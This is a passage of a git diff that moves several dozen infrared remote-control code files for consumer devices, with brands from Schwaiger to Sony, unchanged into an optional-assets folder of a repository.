assets/resources/infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir similarity index 100% rename from 